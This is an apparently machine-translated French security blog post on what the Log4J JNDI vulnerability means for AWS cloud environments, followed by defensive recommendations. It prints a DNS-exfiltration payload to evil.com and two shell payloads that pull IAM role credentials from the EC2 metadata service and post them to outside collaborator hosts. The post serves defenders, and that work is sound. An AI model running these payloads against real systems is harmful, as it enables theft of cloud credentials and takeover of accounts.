Que signifie Log4J pour les environnements cloud ?
À moins que vous n'ayez vécu sous une roche, les deux dernières semaines en matière de sécurité et de technologie ont été consacrées à une vulnérabilité majeure dans la bibliothèque Java Log4J. La vulnérabilité JNDI de Log4J n'est pas tant une vulnérabilité unique qu'une plateforme permettant de lancer des attaques via l'exécution de code à distance.
À l'heure actuelle, les intervenants, les analystes et les ingénieurs travaillent sur les étapes suivantes de l'intervention sur les rapides
- Identifier les systèmes affectés et déployer les correctifs
- Créances tournantes
- Recherche d'indicateurs de compromis
Ce billet aborde la troisième étape de la réponse, la recherche d'indicateurs de compromission et la compréhension de l'impact potentiel d'une bibliothèque Log4J vulnérable, en particulier lorsqu'elle est déployée dans un environnement public cloud . Il vient s'ajouter aux autres déclarations de Vectra sur le sujet concernant les réseaux sur site.
Comment les attaquants peuvent-ils exploiter la vulnérabilité de Log4J ?
Log4J est fondamentalement une vulnérabilité d'injection avec deux avenues pour l'exploitation d'un système.
1. Exécution de code à distance via un fichier de classe Java externe
- Avec la vulnérabilité d'injection dans le cadre de journalisation Log4J, il est possible d'inciter un serveur victime à faire une requête HTTP vers un serveur distant où le serveur victime s'attend à recevoir en retour un fichier de classe Java.
- Lorsque l'attaquant contrôle le serveur externe, il contrôle également le contenu de la réponse renvoyée à la victime. Ici, un code arbitraire peut être transmis au serveur de la victime, intégré dans un fichier de classe Java et exécuté par le serveur de la victime.
2. Exfiltration de données via la consultation du DNS
- Le serveur victime est incité à effectuer une requête sortante vers un serveur externe en raison d'une vulnérabilité d'injection. Étant donné que l'attaquant contrôle le nom d'hôte du serveur externe, cela devient un mécanisme de fuite de la valeur des variables d'environnement.
- Example: ${jndi:ldap://${uname}.${AWS_PROFILE}.evil.com:3489/a}
En quoi la vulnérabilité de Log4J a-t-elle un impact unique sur les déploiements de cloud ?
Il a été largement rapporté et reconnu qu'avec une bibliothèque Log4J vulnérable sur un système, un attaquant aurait la possibilité de récupérer la valeur de n'importe quelle variable d'environnement par exfiltration de données via le mécanisme de consultation du DNS. Des variables AWS contenant des secrets ont été diffusées dans l'espoir que ces variables spécifiques à AWS puissent être fréquemment trouvées dans les environnements cloud .
Cependant, l'attribution de secrets à des variables d'environnement est une mauvaise pratique et n'est pas susceptible d'être trouvée sur la plus grande surface d'attaque dans AWS, l'instance EC2.
Les variables d'environnement spécifiques à AWS sont susceptibles d'être définies sur les points d'extrémité - postes de travail où l'awscli a été configuré par un utilisateur final et dans les fonctions lambda où les variables "AWS_ACCESS_KEY_ID", "AWS_SECRET_ACCESS_KEY" et "AWS_SESSION_TOKEN" sont préconfigurées par le moteur d'exécution.
Il est peu probable que des variables d'environnement spécifiques à AWS se trouvent sur les instances EC2. Au lieu de cela, les applications fonctionnant sur les instances AWS EC2 utiliseront les informations d'identification temporaires du profil d'instance EC2 attribué à l'instance EC2. Ces identifiants temporaires sont émis par un HTTP interne endpoint appelé Instance Metadata Service (IMDS). Ainsi, nous pouvons utiliser la vulnérabilité Log4J pour extraire ces informations d'identification d'une instance EC2.
Utilisation de l'exécution de code à distance pour extraire les informations d'identification des métadonnées d'instance
En exploitant le couteau suisse de la vulnérabilité Log4J, un acteur malveillant peut extraire des identifiants de session temporaires d'une instance EC2 et agir contre vos ressources AWS.
Exemple de trajectoire d'attaque possible avec charges utiles
1. Injecter une charge utile JNDI demandant à l'EC2 victime d'interroger l'API interne de métadonnées d'instance pour le rôle IAM sous lequel l'EC2 fonctionne, d'enregistrer le nom du rôle dans un fichier et de le renvoyer à l'EC2 contrôlé par l'attaquant. endpoint
- 1ère charge utile envoyée aux instances EC2 exécutant IMDSv1 : /bin/sh -c 'cd /tmp && curl http://169.254.169.254/latest/meta-data/iam/security-credentials >> /tmp/role && curl -d $(cat /tmp/role) http://34820348230948320948209.burpcollaborator.net'
2. Armé du Role Name, injecter une autre charge utile JNDI demandant à la victime EC2 d'interroger l'API interne de métadonnées d'instance pour un jeton de session temporaire, d'enregistrer le jeton dans un fichier et de renvoyer le contenu du fichier à l'instance EC2 contrôlée par l'attaquant. endpoint
- 2e charge utile à envoyer aux instances EC2 exécutant IMDSv1 : /bin/sh -c 'cd /tmp && curl http://169.254.169.254/latest/meta-data/iam/security-credentials/kat-JNDI-EC2-Role >> /tmp/token && curl -d @/tmp/token --http1.0 http://8u3xpjnhrq5nrlfmdobut3sztqzin7.burpcollaborator.net'
3. Une dernière charge utile JNDI peut être envoyée pour demander à la victime EC2 de supprimer les fichiers temporaires créés lors des deux injections précédentes.
Le jeton de session extrait aurait un TTL par défaut d'une heure. Un attaquant pourrait utiliser ce temps pour effectuer des actions sur les ressources AWS comme s'il s'agissait de l'instance EC2, et peut-être même effectuer des techniques de persistance comme la création de nouveaux utilisateurs ou rôles. L'impact dépend entièrement des autorisations attribuées à l'instance EC2.
Variations sur l'extraction d'informations d'identification IMDS via Log4J
Les méthodes potentielles pour extraire les informations d'identification du service de métadonnées d'instance sur une instance EC2 sont vastes et variées. Un attaquant peut utiliser n'importe quelle variante d'une charge utile qui utilise HTTP pour interroger le service interne afin de récupérer les informations d'identification. Une charge utile pourrait être livrée en deux étapes comme décrit ci-dessus ou condensée en une seule étape. Une charge utile pourrait être livrée qui stocke la réponse du service de métadonnées d'instance dans des variables d'environnement, où la valeur de la variable d'environnement est extraite via une injection JNDI secondaire. La seule signature cohérente dans toutes les variantes possibles est la nécessité de faire une requête HTTP au service de métadonnées d'instance fonctionnant sur l'instance EC2.
IMDSv1 contre IMDSv2
En réponse à l'exploitation rampante du service de métadonnées d'instance EC2, AWS a annoncé en 2019 une v2 du service, IMDSv2. IMDSv2 exige que deux appels HTTP soient effectués vers le service interne de métadonnées d'instance EC2, la réponse du premier appel étant utilisée comme entrée du second appel afin de récupérer les informations d'identification de session temporaires, créant ainsi un service de métadonnées d'instance basé sur la session. L'application de l'IMDSv2 est une stratégie critique de défense en profondeur lorsqu'il s'agit de se protéger contre les vulnérabilités des applications web telles que SSRF, qui peuvent souvent conduire à l'exposition des informations d'identification EC2. Cependant, en ce qui concerne spécifiquement l'exploitation de la vulnérabilité Log4J, un attaquant peut exécuter des commandes arbitraires sur l'instance EC2 victime, en conséquence, IMDSv2 n'offre aucune protection contre l'extraction d'informations d'identification temporaires via le service de métadonnées d'instance.
Comment défendre son empreinte EC2 ?
Au-delà de l'identification et de la correction de la bibliothèque Log4J vulnérable, que peuvent faire les propriétaires de systèmes ?
1. Limiter le rayon d'action de tout compromis potentiel
- Désactiver le service de métadonnées d'instance HTTP endpoint et ne pas attribuer les rôles d'instances EC2 là où ils ne sont pas nécessaires.
- Passez en revue les politiques et les permissions attachées à toutes vos ressources Cloud (instances EC2, fonctions Lambda, conteneurs, etc). Descopez les permissions attribuées en accordant une attention particulière à toutes les permissions IAM qui pourraient être utilisées comme mécanisme de persistance.
- Continuez à suivre les recommandations qui impliquent l'inspection des variables d'environnement sur les systèmes et la rotation des informations d'identification. Gardez toutefois à l'esprit que ces recommandations ne sont pas suffisantes si un attaquant utilise son accès pour interroger directement l'API interne des métadonnées afin d'obtenir des informations d'identification.
2. Identifier toute modification non autorisée de votre environnement
- Lorsque vous recherchez des indicateurs de compromission, examinez votre domaine AWS pour détecter toute nouvelle ressource IAM créée, telle que de nouveaux utilisateurs, rôles ou politiques de confiance.
Quelques réflexions finales
L'attaque de l'API des métadonnées de l'instance EC2 n'est pas une nouveauté. L'utilisation abusive de ce service a été décrite par des chercheurs depuis qu'il existe des chercheurs en sécurité sur le site cloud . Il ne s'agit pas d'un "nouveau bogue", mais plutôt d'une nouvelle articulation de l'impact de la vulnérabilité Log4J sur l'informatique cloud . Bien que ce post soit spécifique à la menace contre un environnement AWS, tous les mêmes principes sont valables dans n'importe quel environnement GCP ou Azure.
Tester les exploits Log4J sur AWS
Dans le cadre de cette recherche, j'ai développé un bac à sable Log4J. Ce bac à sable comprend une instance EC2 avec le serveur JNDI Expoit original du chercheur feihong et une application vulnérable basée sur java fournie par @christophetd. J'ai mis ce bac à sable et le Terraform pour le déployer dans AWS, à la disposition du public pour aider les futurs chercheurs à se familiariser plus rapidement avec Log4J ou à l'utiliser comme outil de formation dans leurs organisations.
Remerciements particuliers
Un grand coup de chapeau à @christophetd pour avoir publié une application docker Log4J vulnérable. J'ai utilisé leur application vulnérable dans mes tests et je l'ai intégrée dans mon déploiement Terraform d'un Log4J Testing Sandbox.
Restez à l'écoute pour un blog de suivi sur la façon dont la détection continue des menaces peut empêcher la compromission initiale des attaquants de progresser dans votre empreinte AWS - et sur la façon dont Vectra's Detect for AWS est en mesure de le faire.